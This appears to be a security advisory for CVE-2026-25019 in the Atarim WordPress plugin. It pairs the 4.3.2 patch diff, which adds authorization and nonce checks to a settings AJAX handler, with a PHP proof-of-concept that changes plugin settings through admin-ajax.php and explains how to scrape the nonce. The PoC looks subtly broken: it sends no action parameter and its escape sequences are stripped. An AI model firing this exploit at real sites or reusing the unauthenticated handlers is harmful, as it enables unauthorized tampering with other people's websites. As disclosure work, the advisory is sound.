CVE-2026-25019: Atarim <= 4.3.1 – Missing Authorization (atarim-visual-collaboration)

--- a/atarim-visual-collaboration/atarim-visual-collaboration.php
+++ b/atarim-visual-collaboration/atarim-visual-collaboration.php
@@ -1,40 +1,40 @@
-<?php
-/*
- * Plugin Name: Visual Feedback, Review & AI Collaboration Tool For WordPress - Atarim
- * Description: Make collecting feedback on WordPress sites MUCH faster and easier, with the visual collaboration tool used on over 120,000 websites worldwide.
- * Version: 4.3.1
- * Requires at least: 5.0
- * Require PHP: 7.4
- * Author: Atarim
- * Author URI: https://atarim.io/
- * License: GPL 3.0 or later
- * Update URI: https://wordpress.org/plugins/atarim-visual-collaboration/
- * Text Domain: atarim-visual-collaboration
- * Domain Path: /languages
- */
-
-if (!defined('ABSPATH')) {
-    exit; // Exit if accessed directly
-}
-
-define('AVC_PLUGIN_NAME', trim(dirname(plugin_basename(__FILE__)), '/'));
-define('AVC_PLUGIN_DIR', plugin_dir_path(__FILE__));
-define('AVC_PLUGIN_URL', plugin_dir_url(__FILE__));
-define('AVC_PLUGIN_BASE', plugin_basename(__FILE__));
-
-require_once(plugin_dir_path(__FILE__) . 'includes/class-define-constant.php');
-require_once(plugin_dir_path(__FILE__) . 'includes/class-functions.php');
-require_once(plugin_dir_path(__FILE__) . 'includes/class-ajax-functions.php');
-
-if(is_admin()) {
-    require_once(AVC_PLUGIN_DIR . 'admin/class-avc-settings.php');
-    require_once(AVC_PLUGIN_DIR . 'admin/class-user-meta.php');
-}
-
-// Load text domain for translations
-function avc_load_textdomain() {
-    load_plugin_textdomain(AVC_PLUGIN_NAME, false, dirname(AVC_PLUGIN_BASE) . '/languages');
-}
-add_action('plugins_loaded', 'avc_load_textdomain');
-
-require_once(plugin_dir_path(__FILE__) . 'includes/inject-script.php');
+<?php
+/*
+ * Plugin Name: Visual Feedback, Review & AI Collaboration Tool For WordPress - Atarim
+ * Description: Make collecting feedback on WordPress sites MUCH faster and easier, with the visual collaboration tool used on over 120,000 websites worldwide.
+ * Version: 4.3.2
+ * Requires at least: 5.0
+ * Require PHP: 7.4
+ * Author: Atarim
+ * Author URI: https://atarim.io/
+ * License: GPL 3.0 or later
+ * Update URI: https://wordpress.org/plugins/atarim-visual-collaboration/
+ * Text Domain: atarim-visual-collaboration
+ * Domain Path: /languages
+ */
+
+if (!defined('ABSPATH')) {
+    exit; // Exit if accessed directly
+}
+
+define('AVC_PLUGIN_NAME', trim(dirname(plugin_basename(__FILE__)), '/'));
+define('AVC_PLUGIN_DIR', plugin_dir_path(__FILE__));
+define('AVC_PLUGIN_URL', plugin_dir_url(__FILE__));
+define('AVC_PLUGIN_BASE', plugin_basename(__FILE__));
+
+require_once(plugin_dir_path(__FILE__) . 'includes/class-define-constant.php');
+require_once(plugin_dir_path(__FILE__) . 'includes/class-functions.php');
+require_once(plugin_dir_path(__FILE__) . 'includes/class-ajax-functions.php');
+
+if(is_admin()) {
+    require_once(AVC_PLUGIN_DIR . 'admin/class-avc-settings.php');
+    require_once(AVC_PLUGIN_DIR . 'admin/class-user-meta.php');
+}
+
+// Load text domain for translations
+function avc_load_textdomain() {
+    load_plugin_textdomain(AVC_PLUGIN_NAME, false, dirname(AVC_PLUGIN_BASE) . '/languages');
+}
+add_action('plugins_loaded', 'avc_load_textdomain');
+
+require_once(plugin_dir_path(__FILE__) . 'includes/inject-script.php');
--- a/atarim-visual-collaboration/includes/class-ajax-functions.php
+++ b/atarim-visual-collaboration/includes/class-ajax-functions.php
@@ -1,83 +1,99 @@
-<?php
-if (! defined('ABSPATH')) {
-    exit; // Exit if accessed directly
-}
-function avc_deactivate_collab() {
-    $function = new AVC_Functions();
-    if (! $function->avc_validate_nonce() || ! is_user_logged_in()) {
-        wp_send_json_error(['message' => 'Unauthorized access.'], 403);
-        exit;
-    }
-
-    $function->avc_update_settings('avc_collab_active', 'no');
-    exit;
-}
-add_action('wp_ajax_avc_deactivate_collab', 'avc_deactivate_collab');
-add_action('wp_ajax_nopriv_avc_deactivate_collab', 'avc_deactivate_collab');
-
-function avc_user_consent() {
-    $function = new AVC_Functions();
-    if (! $function->avc_validate_nonce() || ! is_user_logged_in()) {
-        wp_send_json_error(['message' => 'Unauthorized access.'], 403);
-        exit;
-    }
-
-    $site_id = $function->avc_get_setting_data('avc_site_id');
-    $email = $function->avc_get_user_detail('email');
-    $fname = $function->avc_get_user_detail('first_name');
-    $lname = $function->avc_get_user_detail('last_name');
-
-    if (is_wp_error($email)) {
-        wp_send_json_error(['message' => $email->get_error_message()], 400);
-        exit;
-    }
-
-    $payload =  [
-        'site_id' => $site_id,
-        'email' => $email,
-        'name' => $fname . ' ' . $lname,
-        'source' => 'wordpress',
-        'apikey' => 'ab497511-9293-4e36-8e8b-fe3fdf0c4086',
-        'apiurl' => AVC_CRM_API . 'wp-api/user/auth',
-    ];
-
-    wp_send_json_success($payload);
-    exit;
-}
-add_action('wp_ajax_avc_user_consent', 'avc_user_consent');
-add_action('wp_ajax_nopriv_avc_user_consent', 'avc_user_consent');
-
-function avc_set_user_consent_status() {
-    $function = new AVC_Functions();
-    if (! $function->avc_validate_nonce() || ! is_user_logged_in()) {
-        wp_send_json_error(['message' => 'Unauthorized access.'], 403);
-        exit;
-    }
-
-    $user_id = $function->avc_get_user_detail('id');
-    update_user_meta($user_id, 'avc_consent_status', true);
-
-    wp_send_json_success(['message' => 'Consent status updated.']);
-}
-add_action('wp_ajax_avc_set_user_consent_status', 'avc_set_user_consent_status');
-add_action('wp_ajax_nopriv_avc_set_user_consent_status', 'avc_set_user_consent_status');
-
-
-function avc_save_avc_settings() {
-    $function = new AVC_Functions();
-    $data = json_decode(file_get_contents('php://input'), true);
-
-    $allowed_fields = ['avc_selected_role', 'avc_website_developer'];
-
-    foreach ($data as $key => $value) {
-        if (! in_array($key, $allowed_fields, true)) {
-            wp_send_json_error(['message' => 'Invalid setting field: ' . esc_html($key)]);
-        }
-
-        $function->avc_update_settings($key, $value);
-    }
-
-    wp_send_json_success(['message' => 'Settings saved']);
-}
-add_action('wp_ajax_avc_save_settings', 'avc_save_avc_settings');
-add_action('wp_ajax_nopriv_avc_save_settings', 'avc_save_avc_settings');
 No newline at end of file
+<?php
+if (! defined('ABSPATH')) {
+    exit; // Exit if accessed directly
+}
+function avc_deactivate_collab() {
+    $function = new AVC_Functions();
+    if (! $function->avc_validate_nonce() || ! is_user_logged_in()) {
+        wp_send_json_error(['message' => 'Unauthorized access.'], 403);
+        exit;
+    }
+
+    $function->avc_update_settings('avc_collab_active', 'no');
+    exit;
+}
+add_action('wp_ajax_avc_deactivate_collab', 'avc_deactivate_collab');
+add_action('wp_ajax_nopriv_avc_deactivate_collab', 'avc_deactivate_collab');
+
+function avc_user_consent() {
+    $function = new AVC_Functions();
+    if (! $function->avc_validate_nonce() || ! is_user_logged_in()) {
+        wp_send_json_error(['message' => 'Unauthorized access.'], 403);
+        exit;
+    }
+
+    $site_id = $function->avc_get_setting_data('avc_site_id');
+    $email = $function->avc_get_user_detail('email');
+    $fname = $function->avc_get_user_detail('first_name');
+    $lname = $function->avc_get_user_detail('last_name');
+
+    if (is_wp_error($email)) {
+        wp_send_json_error(['message' => $email->get_error_message()], 400);
+        exit;
+    }
+
+    $payload =  [
+        'site_id' => $site_id,
+        'email' => $email,
+        'name' => $fname . ' ' . $lname,
+        'source' => 'wordpress',
+        'apikey' => 'ab497511-9293-4e36-8e8b-fe3fdf0c4086',
+        'apiurl' => AVC_CRM_API . 'wp-api/user/auth',
+    ];
+
+    wp_send_json_success($payload);
+    exit;
+}
+add_action('wp_ajax_avc_user_consent', 'avc_user_consent');
+add_action('wp_ajax_nopriv_avc_user_consent', 'avc_user_consent');
+
+function avc_set_user_consent_status() {
+    $function = new AVC_Functions();
+    if (! $function->avc_validate_nonce() || ! is_user_logged_in()) {
+        wp_send_json_error(['message' => 'Unauthorized access.'], 403);
+        exit;
+    }
+
+    $user_id = $function->avc_get_user_detail('id');
+    update_user_meta($user_id, 'avc_consent_status', true);
+
+    wp_send_json_success(['message' => 'Consent status updated.']);
+}
+add_action('wp_ajax_avc_set_user_consent_status', 'avc_set_user_consent_status');
+add_action('wp_ajax_nopriv_avc_set_user_consent_status', 'avc_set_user_consent_status');
+
+
+function avc_save_avc_settings() {
+    if ( ! is_user_logged_in() ) {
+        wp_send_json_error( [ 'message' => 'Authentication required.' ], 401 );
+    }
+
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( [ 'message' => 'Unauthorized.' ], 403 );
+    }
+
+    $nonce = '';
+    if ( isset($_SERVER['HTTP_X_AVC_NONCE']) ) {
+        $nonce = sanitize_text_field( wp_unslash($_SERVER['HTTP_X_AVC_NONCE']) );
+    }
+
+    if ( ! wp_verify_nonce( $nonce, 'avc-script-nonce' ) ) {
+        wp_send_json_error(['message' => 'Invalid nonce.'], 403);
+    }
+
+    $function = new AVC_Functions();
+    $data = json_decode(file_get_contents('php://input'), true);
+
+    $allowed_fields = ['avc_selected_role', 'avc_website_developer'];
+
+    foreach ($data as $key => $value) {
+        if (! in_array($key, $allowed_fields, true)) {
+            wp_send_json_error(['message' => 'Invalid setting field: ' . esc_html($key)]);
+        }
+
+        $function->avc_update_settings($key, $value);
+    }
+
+    wp_send_json_success(['message' => 'Settings saved']);
+}
+add_action('wp_ajax_avc_save_settings', 'avc_save_avc_settings');
 No newline at end of file
--- a/atarim-visual-collaboration/includes/class-define-constant.php
+++ b/atarim-visual-collaboration/includes/class-define-constant.php
@@ -1,25 +1,25 @@
-<?php
-if (! defined('ABSPATH')) {
-    exit; // Exit if accessed directly
-}
-
-class AVC_Constants {
-
-    public function __construct() {
-        // Define constants
-        $this->avc_define_constant();
-    }
-
-    public function avc_define_constant() {
-        define( 'AVC_VERSION', '4.3.1' );
-        define( 'AVC_SITE_URL', site_url() );
-        define( 'AVC_HOME_URL', home_url() );
-        define( 'AVC_MAIN_SITE_URL', 'https://atarim.io' );
-        define( 'AVC_APP_SITE_URL', 'https://app.atarim.io' );
-        define( 'AVC_CRM_API', 'https://api.atarim.io/' );
-        define( 'AVC_LEARN_SITE_URL', 'https://academy.atarim.io' );
-    }
-}
-
-new AVC_Constants();
-
+<?php
+if (! defined('ABSPATH')) {
+    exit; // Exit if accessed directly
+}
+
+class AVC_Constants {
+
+    public function __construct() {
+        // Define constants
+        $this->avc_define_constant();
+    }
+
+    public function avc_define_constant() {
+        define( 'AVC_VERSION', '4.3.2' );
+        define( 'AVC_SITE_URL', site_url() );
+        define( 'AVC_HOME_URL', home_url() );
+        define( 'AVC_MAIN_SITE_URL', 'https://atarim.io' );
+        define( 'AVC_APP_SITE_URL', 'https://app.atarim.io' );
+        define( 'AVC_CRM_API', 'https://api.atarim.io/' );
+        define( 'AVC_LEARN_SITE_URL', 'https://academy.atarim.io' );
+    }
+}
+
+new AVC_Constants();
+

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25019 - Atarim <= 4.3.1 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2026-25019
 * This script demonstrates unauthorized settings modification in Atarim plugin <= 4.3.1
 * Requirements:
 * 1. Target site must have Atarim plugin <= 4.3.1 installed
 * 2. A valid nonce must be obtained from the plugin's frontend JavaScript
 * 3. The plugin must be active on the target site
 */

$target_url = 'https://example.com'; // CHANGE THIS to target WordPress site

// Step 1: Extract nonce from plugin's frontend JavaScript
// The nonce is typically available in wp_localize_script data or inline scripts
// This example assumes you've manually obtained a valid nonce
$nonce = 'YOUR_VALID_NONCE_HERE'; // Replace with actual nonce from target

// Step 2: Prepare the malicious payload
$payload = json_encode([
    'avc_selected_role' => 'subscriber', // Change allowed role to subscriber
    // 'avc_website_developer' => 'attacker@example.com' // Alternative payload
]);

// Step 3: Craft the exploit request
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => $payload,
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/json',
        'X-AVC-NONCE: ' . $nonce,
        'Accept: application/json'
    ],
    CURLOPT_SSL_VERIFYPEER => false, // For testing only
    CURLOPT_SSL_VERIFYHOST => false  // For testing only
]);

// Step 4: Execute the attack
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 5: Analyze results
if ($http_code === 200) {
    $data = json_decode($response, true);
    if (isset($data['success']) && $data['success'] === true) {
        echo "[SUCCESS] Settings modified: " . $data['message'] . "n";
    } else {
        echo "[FAILED] Error: " . ($data['message'] ?? 'Unknown error') . "n";
    }
} else {
    echo "[FAILED] HTTP Status: $http_coden";
    echo "Response: $responsen";
}

// Note: This PoC requires a valid nonce, which can be obtained by:
// 1. Visiting any page with Atarim enabled
// 2. Inspecting page source for 'avcScript' or similar JavaScript object
// 3. Extracting the 'nonce' property value
?>